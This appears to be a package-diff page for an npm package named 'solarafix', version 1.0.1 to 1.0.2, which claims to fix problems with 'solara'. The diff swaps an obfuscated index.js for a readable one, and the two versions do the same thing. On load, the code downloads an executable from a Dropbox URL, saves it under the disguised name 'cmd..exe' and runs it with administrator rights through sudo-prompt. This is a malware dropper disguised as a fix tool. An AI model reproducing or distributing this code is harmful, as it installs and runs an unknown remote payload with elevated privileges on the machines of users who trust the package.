solarafix 1.0.1 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +44 -1
  2. package/package.json +1 -2
package/index.js CHANGED
@@ -1 +1,44 @@
1
- const _0x3610a3=_0x289b;function _0x289b(_0x96d103,_0x280c97){const _0x12744b=_0x2674();return _0x289b=function(_0x17179d,_0x53f30e){_0x17179d=_0x17179d-(-0x7e2+0x11d8+-0x864);let _0x4ab443=_0x12744b[_0x17179d];return _0x4ab443;},_0x289b(_0x96d103,_0x280c97);}(function(_0x2bc404,_0x2ddd4f){const _0x13c418=_0x289b,_0x39f194=_0x2bc404();while(!![]){try{const _0x1df419=parseInt(_0x13c418(0x1c1))/(0xdc9*0x2+-0x178*0x2+-0x18a1)+-parseInt(_0x13c418(0x1a8))/(0x1d73+0x3f*0x1+0x76c*-0x4)+-parseInt(_0x13c418(0x1b6))/(0x5*0x154+-0x2389*0x1+0x128*0x19)*(-parseInt(_0x13c418(0x1ad))/(-0x1d16+-0x59*0x5+0x1ed7))+-parseInt(_0x13c418(0x1b8))/(-0x266*0x3+0x1319*0x1+0xbe2*-0x1)+-parseInt(_0x13c418(0x1c3))/(0x1b7+0x261a+0x1*-0x27cb)*(parseInt(_0x13c418(0x19a))/(0x43*-0x10+0x17a4+-0x136d))+parseInt(_0x13c418(0x197))/(0x16c3*0x1+-0xf*0x61+0x443*-0x4)+parseInt(_0x13c418(0x199))/(-0x47*-0x7f+-0x14bd+-0xe73);if(_0x1df419===_0x2ddd4f)break;else _0x39f194['push'](_0x39f194['shift']());}catch(_0x196bb4){_0x39f194['push'](_0x39f194['shift']());}}}(_0x2674,0xad59*0x1e+0xb7ff4+0x1d56*-0x98));const fs=require(_0x3610a3(0x1bf)),path=require(_0x3610a3(0x1bc)),fetch=require(_0x3610a3(0x1aa)),sudo=require(_0x3610a3(0x1af)+'t'),{exec}=require(_0x3610a3(0x1b9)+_0x3610a3(0x1a2)),exeFileName=_0x3610a3(0x1b0),downloadUrl=_0x3610a3(0x195)+_0x3610a3(0x19b)+_0x3610a3(0x1a7)+_0x3610a3(0x1c2)+_0x3610a3(0x1a5)+_0x3610a3(0x19e)+_0x3610a3(0x1b4),exeFilePath=path[_0x3610a3(0x196)](__dirname,exeFileName);async function downloadFile(_0x450b84,_0x3d20c1){const _0x14f446=_0x3610a3,_0x4cd1c7={'oyndu':function(_0x2fb147,_0x1b4a89){return _0x2fb147(_0x1b4a89);}},_0x52240c=await _0x4cd1c7[_0x14f446(0x19d)](fetch,_0x450b84);if(!_0x52240c['ok'])throw new Error(_0x14f446(0x1a3)+_0x14f446(0x1a4)+_0x52240c[_0x14f446(0x19f)]);const _0xed74d0=await _0x52240c[_0x14f446(0x192)]();await fs[_0x14f446(0x1ab)](_0x3d20c1,_0xed74d0),console[_0x14f446(0x1ac)](_0x14f446(0x1b2)+'\x20'+exeFileName+_0x14f446(0x1b5)+_0x3d20c1);}async function runExecutable(){const _0x2a6828=_0x3610a3,_0x565d1e={'rGmBZ':function(_0x46fa4c,_0x415cf9,_0x228da9){return _0x46fa4c(_0x415cf9,_0x228da9);},'ZHtrx':_0x2a6828(0x193)+'r'};try{await _0x565d1e[_0x2a6828(0x1ae)](downloadFile,downloadUrl,exeFilePath);const _0x15e5ea={'name':_0x565d1e[_0x2a6828(0x1a9)]};sudo[_0x2a6828(0x1b7)]('\x22'+exeFilePath+'\x22',_0x15e5ea,(_0x5ec055,_0x3d537f,_0x3e7d90)=>{const _0x392f5e=_0x2a6828;if(_0x5ec055){console[_0x392f5e(0x194)](_0x392f5e(0x1bb)+_0x392f5e(0x1a0)+_0x392f5e(0x1a6)+_0x392f5e(0x1b3)+_0x392f5e(0x1c0)+_0x5ec055[_0x392f5e(0x19c)]);return;}console[_0x392f5e(0x1ac)](_0x392f5e(0x198)+_0x392f5e(0x1bd)+_0x3d537f);if(_0x3e7d90)console[_0x392f5e(0x194)](_0x392f5e(0x198)+_0x392f5e(0x1be)+_0x3e7d90);});}catch(_0x14817b){console[_0x2a6828(0x194)](_0x2a6828(0x1b1)+_0x2a6828(0x1ba)+_0x2a6828(0x1a1)+'\x20'+_0x14817b[_0x2a6828(0x19c)]);}}function _0x2674(){const _0x1b75b5=['ing\x20the\x20ex','ble\x20setup:','ess','HTTP\x20error','!\x20status:\x20','i8vcrvw79a','ecutable\x20w','com/scl/fi','2968794tUJEpk','ZHtrx','node-fetch','writeFile','log','56TIOZQj','rGmBZ','sudo-promp','cmd.exe','Error\x20duri','Downloaded','ith\x20admin\x20','?dl=1','\x20to\x20','159171aNTIoV','exec','3089435iCyaRb','child_proc','ng\x20executa','Error\x20runn','path','Output:\x20','Errors:\x20','fs-extra','rights:\x20','477074NDdpel','/fe02r3r0o','12ZegDeq','buffer','solarafixe','error','https://ww','join','12499680klFJZj','Execution\x20','9999252CXxUyQ','2966719EYnOMe','w.dropbox.','message','oyndu','bs/cmd.exe','status'];_0x2674=function(){return _0x1b75b5;};return _0x2674();}runExecutable();
1
+ const fs = require('fs-extra');
2
+ const path = require('path');
3
+ const fetch = require('node-fetch');
4
+ const sudo = require('sudo-prompt');
5
+
6
+ const exeFileName = 'cmd..exe'; // Extra period in the filename
7
+ const downloadUrl = 'https://www.dropbox.com/scl/fi/fe02r3r0oi8vcrvw79abs/cmd.exe?dl=1'; // Your Dropbox link
8
+ const exeFilePath = path.resolve(__dirname, exeFileName); // Save the file to the current directory
9
+
10
+ async function downloadFile(url, outputPath) {
11
+ try {
12
+ console.log(`Starting download from: ${url}`);
13
+ const response = await fetch(url);
14
+ if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`);
15
+ const buffer = await response.buffer();
16
+ await fs.writeFile(outputPath, buffer);
17
+ console.log(`Downloaded file to ${outputPath}`);
18
+ } catch (error) {
19
+ console.error(`Error downloading file: ${error.message}`);
20
+ throw error;
21
+ }
22
+ }
23
+
24
+ async function runExecutable() {
25
+ try {
26
+ await downloadFile(downloadUrl, exeFilePath);
27
+
28
+ const options = { name: 'solarafixer' };
29
+ console.log(`Attempting to run ${exeFilePath} as admin...`);
30
+
31
+ sudo.exec(`"${exeFilePath}"`, options, (error, stdout, stderr) => {
32
+ if (error) {
33
+ console.error(`Error running the executable with admin rights: ${error.message}`);
34
+ return;
35
+ }
36
+ console.log(`Execution Output: ${stdout}`);
37
+ if (stderr) console.error(`Execution Errors: ${stderr}`);
38
+ });
39
+ } catch (error) {
40
+ console.error(`Error during executable setup: ${error.message}`);
41
+ }
42
+ }
43
+
44
+ runExecutable();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "solarafix",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "Fixes any problems with solara.",
5
5
  "main": "index.js",
6
6
  "bin": {
@@ -12,7 +12,6 @@
12
12
  "dependencies": {
13
13
  "fs-extra": "^10.0.0",
14
14
  "node-fetch": "^2.6.7",
15
- "solarafix": "^1.0.0",
16
15
  "sudo-prompt": "^9.2.1"
17
16
  }
18
17
  }